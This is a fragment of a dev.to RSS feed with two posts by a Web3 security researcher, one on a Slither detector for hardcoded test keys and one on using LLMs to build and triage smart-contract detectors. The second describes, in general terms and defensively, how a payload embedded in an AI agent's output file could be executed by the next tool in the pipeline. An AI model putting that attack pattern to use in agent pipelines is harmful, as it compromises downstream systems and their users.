&lt;li&gt;❌ &lt;strong&gt;The Missing Bouncer&lt;/strong&gt;: External functions that trigger withdrawals or trades without any cryptographic signature verification (&lt;code&gt;ecrecover&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;The "Sleep Well at Night" Approach&lt;/strong&gt;: Using securely injected environment variables, multisig wallets, proper constructor initialization that explicitly rejects known test addresses, and encrypted off-chain credential management.&lt;/p&gt;

&lt;h2&gt;
  
  
  🚀 How to Use It (in 30 seconds)
&lt;/h2&gt;

&lt;p&gt;I packaged this into a clean Python module. You don't need to write custom scripts anymore; it integrates natively with the Slither CLI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Clone &amp;amp; Install:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;git clone &lt;a href="https://github.com/rdin777/slither-cex-detector.git" rel="noopener noreferrer"&gt;https://github.com/rdin777/slither-cex-detector.git&lt;/a&gt;&lt;br&gt;
cd slither-cex-detector&lt;br&gt;
pip install -e .&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run the detector on your project:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;slither . --detect cex-interface-security,hardhat-test-keys&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Cry tears of joy when it catches that one variable your teammate forgot to change:&lt;br&gt;
text&lt;br&gt;
🔍 Analyzing contracts...&lt;br&gt;
Found 1 vulnerabilities:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;[High] CRITICAL: Hardhat test address detected in variable 'admin'&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;(Pro tip: Add --json results.json to easily plug this into your GitHub Actions CI/CD pipeline!)&lt;br&gt;
🎯 Final Thoughts&lt;br&gt;
Security isn't just about finding complex mathematical flaws in zero-knowledge proofs. Sometimes, it's about stopping someone from copy-pasting a tutorial into production.&lt;br&gt;
This detector is now part of v0.2.0 of the slither-cex-detector, which also catches hardcoded API keys, missing signature verifications, and plaintext credentials in CEX interfaces.&lt;br&gt;
If you found this useful, please consider:&lt;br&gt;
⭐ Starring the repo on GitHub (it fuels my open-source soul).&lt;br&gt;
🐦 Following me on Twitter @DinRid56379 where I post about Web3 security, AI agents, and occasional dev humor.&lt;br&gt;
🐛 Opening an issue if you find a false positive (or a cool new pattern we should detect!).&lt;br&gt;
Stay safe, and may your private keys never see the light of a public repository. 🛡️&lt;br&gt;
P.S. If you're reading this and you currently have a Hardhat key in your mainnet contract... go fix it. I'll wait. ⏱️&lt;/p&gt;

&lt;p&gt;tags: web3,,security,,ethereum,,python&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>The Next Frontier: Using AI Agents to Build Custom Slither Detectors</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Wed, 21 Oct 2026 06:47:32 +0000</pubDate>
      <link>https://dev.to/rdin777/the-next-frontier-using-ai-agents-to-build-custom-slither-detectors-221f</link>
      <guid>https://dev.to/rdin777/the-next-frontier-using-ai-agents-to-build-custom-slither-detectors-221f</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhqmq6w8fat7pej3tk4y9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhqmq6w8fat7pej3tk4y9.png" alt=" " width="800" height="446"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How I'm combining smart contract security with LLM-powered tooling — and why the intersection of Web3 and AI safety is where the real vulnerabilities hide.&lt;/p&gt;

&lt;p&gt;Introduction: Why AI + Web3 Security Is Inevitable&lt;/p&gt;

&lt;p&gt;I'm a Web3 security researcher. Over the past few weeks, I've been building custom Slither detectors for CEX interface smart contracts — tools that automatically find hardcoded API keys, missing signature verification, and plaintext credentials on-chain.&lt;/p&gt;

&lt;p&gt;It's rewarding work. But it's also slow.&lt;/p&gt;

&lt;p&gt;Writing one production-ready detector takes 2–3 days of focused effort: studying the vulnerability pattern, implementing the logic, testing against known contracts, eliminating false positives, and wiring it into CI/CD. For every new threat vector — oracle manipulation, reentrancy in CEX wrappers, access control bypasses — you start from scratch.&lt;/p&gt;

&lt;p&gt;Meanwhile, the attack surface is expanding in a direction most auditors aren't watching: AI agents are starting to interact with smart contracts. They read state, call functions, generate files, and execute tools. And every one of those interactions is a potential vulnerability.&lt;/p&gt;

&lt;p&gt;The intersection of smart contract security and AI agent safety is where the real vulnerabilities hide. This article is about how I'm starting to use AI to accelerate my security workflow — and why I think every serious Web3 security engineer will need to do the same within the next two years.&lt;/p&gt;

&lt;p&gt;The Problem: Manual Detector Development Is a Bottleneck&lt;/p&gt;

&lt;p&gt;Let me show you what I mean with a concrete example.&lt;/p&gt;

&lt;p&gt;Imagine you're writing a detector that looks for hardcoded API keys. It works. It's in production. It has zero false positives — because I spent hours tuning the logic to distinguish legitimate constant declarations from actual secrets.&lt;/p&gt;

&lt;p&gt;Now multiply this by every vulnerability pattern you want to catch:&lt;/p&gt;

&lt;p&gt;Missing signature verification on CEX calls&lt;/p&gt;

&lt;p&gt;Plaintext credentials stored on-chain&lt;/p&gt;

&lt;p&gt;Oracle price manipulation in withdrawal flows&lt;/p&gt;

&lt;p&gt;Reentrancy in cross-chain bridge wrappers&lt;/p&gt;

&lt;p&gt;Access control bypasses in admin functions&lt;/p&gt;

&lt;p&gt;Each detector is a small engineering project. And the threat landscape evolves faster than any single researcher can keep up. We need a faster way to iterate on security hypotheses.&lt;/p&gt;

&lt;p&gt;The Solution: How AI Can Accelerate Security Research&lt;/p&gt;

&lt;p&gt;I see two concrete ways AI can help — and I've been experimenting with both.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generating Detector Templates&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Instead of starting from a blank file, I now use LLMs to generate a working scaffold. The result is typically 70% of a working detector. It gets the structure right — the class inheritance, the method signatures, the result generation calls.&lt;/p&gt;

&lt;p&gt;But here's what it usually gets wrong:&lt;/p&gt;

&lt;p&gt;False positive logic: The AI doesn't know which patterns are legitimate in real codebases.&lt;/p&gt;

&lt;p&gt;Context awareness: It can't tell if a "suspicious" oracle call is actually behind a timelock or multisig.&lt;/p&gt;

&lt;p&gt;Edge cases: Reentrancy guards, access control modifiers, upgradeable proxy patterns — these require human judgment.&lt;/p&gt;

&lt;p&gt;But 70% is a massive head start. What used to take 2–3 days now takes 4–6 hours of refinement.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Filtering False Positives from Slither Output&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is where AI shines even more. Slither's JSON output is verbose and noisy. A typical run on a medium-sized contract might return 50+ findings, of which only 5–10 are real issues.&lt;/p&gt;

&lt;p&gt;My workflow is: I run Slither, export the results to JSON, and feed the output to an LLM with a request to analyze the findings and identify which are likely false positives based on context.&lt;/p&gt;

&lt;p&gt;In my experiments, this approach has reduced manual review time by 60–70%. The AI is surprisingly good at spotting patterns like "this check is flagged as missing validation, but it's actually enforced by a modifier on the parent contract."&lt;/p&gt;

&lt;p&gt;The Catch: Why AI Won't Replace Security Engineers&lt;/p&gt;

&lt;p&gt;Here's where I need to be honest. AI is a powerful accelerator, but it introduces its own class of risks — especially when AI agents start interacting with blockchain systems.&lt;/p&gt;

&lt;p&gt;Risk 1: AI-Generated Detectors Can Have Subtle Bugs&lt;/p&gt;

&lt;p&gt;I once asked an LLM to write a reentrancy detector. It produced code that looked correct at first glance — but it was checking for an old syntax that is no longer used in modern Solidity. The detector would have missed every real vulnerability in modern codebases.&lt;/p&gt;

&lt;p&gt;Lesson: AI doesn't understand the evolution of the language. You still need to review every line.&lt;/p&gt;

&lt;p&gt;Risk 2: Agent Tool Misuse — The Emerging Threat Vector&lt;/p&gt;

&lt;p&gt;This is the one that keeps me up at night. As AI agents like NousResearch's Hermes Agent become more capable, they're being given access to tools: file systems, APIs, and eventually, smart contracts.&lt;/p&gt;

&lt;p&gt;Here's the scenario I'm worried about: An AI agent analyzes a smart contract and generates a report. The report is saved as a specific file format. That file format contains an embedded malicious payload — a shader exploit, a path traversal, a script injection. The next tool in the pipeline opens that file and executes the payload.&lt;/p&gt;

&lt;p&gt;I wrote about this explicitly in a recent discussion with Teknium, the lead engineer behind Hermes Agent: "Each file format has its own attack surface. Input validation at the plugin boundary will be crucial as Hermes handles more untrusted outputs."&lt;/p&gt;

&lt;p&gt;This isn't theoretical. As AI agents become more autonomous, the security of their tool interactions becomes as important as the security of the smart contracts they audit.&lt;/p&gt;

&lt;p&gt;Risk 3: AI Doesn't Understand Business Logic&lt;/p&gt;

&lt;p&gt;A detector can flag "admin function without timelock" as a vulnerability. But what if the protocol intentionally uses a fast admin path for emergency pauses? What if the "missing" access control is actually enforced off-chain through a multisig? AI can't know this. Only a human auditor with context about the protocol's design decisions can make that call.&lt;/p&gt;

&lt;p&gt;The Future: Where This Is Heading&lt;/p&gt;

&lt;p&gt;Based on my conversations with builders in this space, here's where I think the industry is going.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Continuous AI Security Agents&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Imagine an AI agent that runs alongside your CI/CD pipeline, not just checking for known patterns, but learning from every new exploit. When a new vulnerability is disclosed on Immunefi, the agent automatically analyzes the exploit report, generates a custom Slither detector, tests it against your codebase, and opens a PR with the fix.&lt;/p&gt;

&lt;p&gt;This isn't science fiction. Hermes Agent already has persistent memory and tool-use capabilities. The missing piece is the security-specific training data — and that's where researchers like us come in.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Automated Detector Generation from CVEs&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Within two years, I expect to see systems that take a CVE description or an exploit writeup and automatically produce a working Slither detector. The human role shifts from "writing detectors" to "curating and validating AI-generated detectors."&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Formal Verification + AI Hybrid Approaches&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Static analysis (Slither) catches known patterns. Formal verification (Certora, Halmos) proves mathematical properties. AI fills the gap: it can generate hypotheses about business logic vulnerabilities that neither tool catches alone.&lt;/p&gt;

&lt;p&gt;My prediction: In 2 years, every serious protocol will have an AI security agent running alongside their CI/CD — not replacing human auditors, but amplifying them.&lt;/p&gt;

&lt;p&gt;Practical Recommendations: How to Start Today&lt;/p&gt;

&lt;p&gt;If you're a Web3 security engineer (or aspiring to be one), here's how to start integrating AI into your workflow without compromising on rigor.&lt;/p&gt;

&lt;p&gt;For Beginners:&lt;/p&gt;

&lt;p&gt;Start with Slither JSON analysis. Run Slither on a contract, export to JSON, and ask an LLM to help you triage the findings. You'll learn faster by seeing how AI interprets the same data you're looking at.&lt;/p&gt;

&lt;p&gt;Use AI for detector scaffolding. Don't copy-paste blindly — but use the generated code as a starting point. You'll save hours on boilerplate.&lt;/p&gt;

&lt;p&gt;Always test on known vulnerable contracts. If your AI-generated detector doesn't catch the vulnerability in a test contract, it's not ready for production.&lt;/p&gt;

&lt;p&gt;For Advanced Practitioners:&lt;/p&gt;

&lt;p&gt;Integrate LLM filtering into your CI/CD. After Slither runs, pipe the JSON through an AI filter that flags likely false positives. Review only the high-confidence findings.&lt;/p&gt;

&lt;p&gt;Build a dataset of your findings. Every time you confirm or reject an AI suggestion, log it. Over time, you can fine-tune a model on your specific audit style.&lt;/p&gt;

&lt;p&gt;Experiment with agentic workflows. Tools like Hermes Agent (open source, from NousResearch) let you build agents with persistent memory and tool access. Try building one that monitors a specific protocol for new vulnerabilities.&lt;/p&gt;

&lt;p&gt;Conclusion: The Engineer Who Uses AI Will Replace the One Who Doesn't&lt;/p&gt;

&lt;p&gt;AI won't replace smart contract auditors. The stakes are too high, the context too nuanced, the consequences of a missed vulnerability too severe.&lt;/p&gt;

&lt;p&gt;But the engineer who uses AI to accelerate their workflow — who can iterate on detector hypotheses in hours instead of days, who can triage 50 Slither findings in minutes instead of hours — that engineer will outpace the one who doesn't.&lt;/p&gt;

&lt;p&gt;The intersection of Web3 security and AI agent safety is still early. The builders who start experimenting now — carefully, critically, with a deep understanding of both domains — will define the standards for the next generation of secure protocols.&lt;/p&gt;

&lt;p&gt;Start small. Build one AI-assisted detector today. Test it rigorously. Share your findings.&lt;/p&gt;

&lt;p&gt;The future of Web3 security isn't human vs. machine. It's human with machine — and the time to start building that partnership is now.&lt;/p&gt;

&lt;p&gt;Resources:&lt;/p&gt;

&lt;p&gt;My custom Slither detector: &lt;a href="https://github.com/rdin777/slither-cex-detector" rel="noopener noreferrer"&gt;https://github.com/rdin777/slither-cex-detector&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hermes Agent (open source): &lt;a href="https://github.com/NousResearch/hermes-agent" rel="noopener noreferrer"&gt;https://github.com/NousResearch/hermes-agent&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;CDSecurity (Web3 security audits): cdsecurity.io&lt;/p&gt;

&lt;p&gt;If you're working on AI + security tooling, I'd love to connect. Find me on Twitter @DinRid56379.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>security</category>
      <category>web3</category>
    </item>
  </channel>
</rss>
